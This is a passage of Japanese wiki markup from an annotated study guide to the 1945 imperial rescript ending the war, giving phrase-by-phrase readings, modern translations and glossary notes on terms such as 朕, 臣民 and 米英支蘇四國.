t;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;/div&gt;

# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]

=== 朕󠄂&amp;#xE0102;（ちん） ===
*「&lt;span style=&quot;font-family:游明朝;font-size:20pt;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は、古代中国で自称として用いられていた言葉だが、[[w:秦|秦]]の[[w:始皇帝|始皇帝]]から[[w:天子|天子]]（皇帝）の自称に限られるようになり、以後は中国・ベトナム・日本の君主の自称として、特に日本では歴代天皇の自称として用いられてきた&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%95-569835 朕(チン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。&lt;br&gt;昭和21年（1946年）の「[[w:人間宣言|人間宣言]]」によって天皇の神格化が完全に否定され、さらに昭和22年（1947年）の[[w:日本国憲法|日本国憲法]]の施行後は「&lt;span style=&quot;font-family:游明朝;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は一切用いられなくなり、以後の天皇の自称は「&lt;span style=&quot;color:#f88;&quot;&gt;わたくし&lt;/span&gt;」となっている。

=== 朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、世界の情勢と帝国（大日本帝国）の現状とを深く考え合わせ、&lt;/p&gt;
==== 鑑みる ====
*「鑑みる」：先例や他の例とくらべ合わせて考える&lt;ref&gt;[https://kotobank.jp/word/%E9%91%91%E3%81%BF%E3%82%8B-459421#w-1924987 鑑みる(カガミル)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：緊急措置によって局面を収拾しようと思って、&lt;/p&gt;
==== 非常の ====
*「非常（の）」：普通でない差し迫った、思いがけない緊急事態の&lt;ref&gt;[https://kotobank.jp/word/%E9%9D%9E%E5%B8%B8-610028#w-2096327 非常(ヒジョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 時局 ====
*「時局」：国家・社会などの、その時の情勢。時世の局面。&lt;ref&gt;[https://kotobank.jp/word/%E6%99%82%E5%B1%80-518076#w-518076 時局(ジキョク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 収集 ====
*「収拾」：乱れた事態などをおさめること。&lt;ref&gt;[https://kotobank.jp/word/%E5%8F%8E%E6%8B%BE-526879#w-1997828 収拾(シュウシュウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 玆ニ忠良ナル爾臣民ニ吿ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：ここに、忠実で善良なあなたがた国民に告げる。&lt;/p&gt;
==== 玆（ここ）に ====
*「玆に（ここに）」：この時にあたり。&lt;ref&gt;[https://kotobank.jp/word/%E6%AD%A4%E5%87%A6%E3%81%AB-500393#w-500393 此処に(ココニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 忠良 ====
*「忠良」：忠義で善良なこと。また、そのさまや、その人。&lt;ref&gt;[https://kotobank.jp/word/%E5%BF%A0%E8%89%AF-567930#w-567930 忠良(チュウリョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 爾（なんじ） ====
*「爾」：「汝」におなじ。「なむじ」が転訛した二人称の代名詞で、中世以降は目下の者に用いられた。&lt;ref&gt;[https://kotobank.jp/word/%E6%B1%9D-429890#w-590506 な‐んじ〔‐んぢ〕【×汝／×爾】- コトバンク]&lt;/ref&gt;
=== 臣民 ===
*「臣民」：臣下としての国民。明治憲法（[[w:大日本帝国憲法|大日本帝国憲法]]）憲法のもとで、天皇、皇・公族以外の者。&lt;ref&gt;[https://kotobank.jp/word/%E8%87%A3%E6%B0%91-82595#w-2013169 臣民(シンミン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;

&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第二段落 ==
&lt;!--◆第二段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國政府ヲシテ米英支蘇四國ニ對シ其ノ共同宣言ヲ受諾スル旨&lt;span style=&quot;color:#500;&quot;&gt;通&amp;#xE0101;&lt;/span&gt;吿セシメタリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;　　　　&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、
&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、
&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
#* [[#帝国政府]]
# [[#米英支蘇四國ニ對シ]]
#* [[#米英支蘇四國]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
#* [[#共同宣言ヲ受諾]]

=== 朕&amp;#xE0102;ハ帝國政府ヲシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、帝国&lt;small&gt;（大日本帝国）&lt;/small&gt;政府に命じて、&lt;/p&gt;
==== 帝国政府 ====
*「帝国政府」：[[w:大日本帝国憲法|大日本帝国憲法]]&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A7%E6%97%A5%E6%9C%AC%E5%B8%9D%E5%9B%BD%E6%86%B2%E6%B3%95-91835 大日本帝国憲法(ダイニッポンテイコクケンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;（明治憲法）のもとでの総理大臣を首班とする内閣。
**より具体的には、[[w:鈴木貫太郎内閣|鈴木貫太郎内閣]]&lt;ref&gt;[https://kotobank.jp/word/%E9%88%B4%E6%9C%A8%E8%B2%AB%E5%A4%AA%E9%83%8E%E5%86%85%E9%96%A3-845136 鈴木貫太郎内閣(すずきかんたろうないかく)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことを指す。
**明治憲法は「天皇主権」&lt;ref&gt;[https://kotobank.jp/word/%E5%A4%A9%E7%9A%87%E4%B8%BB%E6%A8%A9-1566340 天皇主権(てんのうしゅけん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、つまり行政権の主体は「天皇」にあり、「国務大臣」めいめいが天皇を「輔弼」（補佐）して各省を管轄する体制となっていた。憲法には「内閣」や「内閣総理大臣」の規定がなく、「内閣」は天皇の命令で動く国務大臣たちの協議の場に過ぎなかった。
**また、軍隊を指揮監督する最高権限「[[w:統帥権|統帥権]]」&lt;ref&gt;[https://kotobank.jp/word/%E7%B5%B1%E5%B8%A5%E6%A8%A9-103758#w-855138 統帥権(トウスイケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;は主権者である「天皇」にあり、「内閣・政府」は軍隊や戦争に関する決定権を持たなかった。
**「内閣・政府」には憲法上の行政の統括権限がなかったが、実務上は「内閣」が国家の意思決定や諸外国との外交交渉を行う「窓口」であり、実務組織となっていた。
=== 米英支蘇四國ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;米&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;べい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;英&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;えい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;支&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;蘇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：アメリカ・イギリス・中国・ソビエトの４か国に対して、&lt;/p&gt;
==== 米英支蘇四國 ====
*「米英支蘇四國」：ポツダム宣言を発した、米（アメリカ）・英（イギリス）・&lt;u&gt;支&lt;/u&gt;那（中華民国）の３か国、および後から名を連ねた&lt;u&gt;蘇&lt;/u&gt;聯（ソビエト連邦）
**詔書の草案の段階では、「&lt;span style=&quot;color:#500;&quot;&gt;米英二国&lt;ruby&gt;&lt;rb&gt;並&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ならび&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ニ重慶政権ソヴィエート聯邦&lt;/span&gt;」「&lt;span style=&quot;color:#500;&quot;&gt;米英重慶ソヴィエート政府&lt;/span&gt;」としているものもあった。
***中国（支那）では、日本は、日本軍の&lt;ruby&gt;&lt;rb&gt;傀儡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かいらい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:汪兆銘政権|&lt;ruby&gt;&lt;rb&gt;汪兆銘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おうちょうめい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;政権]]のみを国家承認しており、戦争中の敵国であり[[w:重慶市|&lt;ruby&gt;&lt;rb&gt;重慶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅうけい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]を首都としていた[[w:蔣介石|&lt;ruby&gt;&lt;rb&gt;蔣介石&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょうかいせき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;]]&lt;ref&gt;[https://kotobank.jp/word/%E8%92%8B%E4%BB%8B%E7%9F%B3-18318#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 蒋介石(ショウカイセキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;が率いる[[w:中華民国 (1912年-1949年)|中華民国]]&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD-97091#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 中華民国(チュウカミンコク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;の[[w:国民政府|国民政府]]&lt;ref&gt;[https://kotobank.jp/word/%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-64266#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 国民政府(コクミンセイフ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9B%BD%E5%9B%BD%E6%B0%91%E6%94%BF%E5%BA%9C-1366638 中華民国国民政府(ちゅうかみんこくこくみんせいふ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;のことは認めずに「&lt;span style=&quot;color:#500;&quot;&gt;重慶政権&lt;/span&gt;」などと呼んでいた。
=== 其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt